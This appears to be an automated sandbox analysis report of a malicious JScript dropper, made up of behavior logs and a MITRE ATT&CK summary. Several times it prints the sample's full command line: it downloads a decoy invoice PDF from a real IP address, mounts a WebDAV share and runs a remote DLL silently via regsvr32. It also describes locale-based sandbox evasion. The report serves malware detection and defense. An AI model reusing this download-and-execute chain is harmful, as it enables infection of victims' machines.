Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5978.js.csv");ITextStream.WriteLine(" entry:8518 f:wshpovbtx");ITextStream.WriteLine(" exec:2 f:wshpovbtx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3964			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5774			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7060	Thread sleep count: 3964 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7060	Thread sleep count: 5774 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7104	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3276	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5704	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1716	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6672	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1716	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2171556079.000001F3A34E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.2171972666.000001F3A3548000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2169356903.000001F3A3548000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3413363973.000001A84E859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3409835138.000001A849229000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
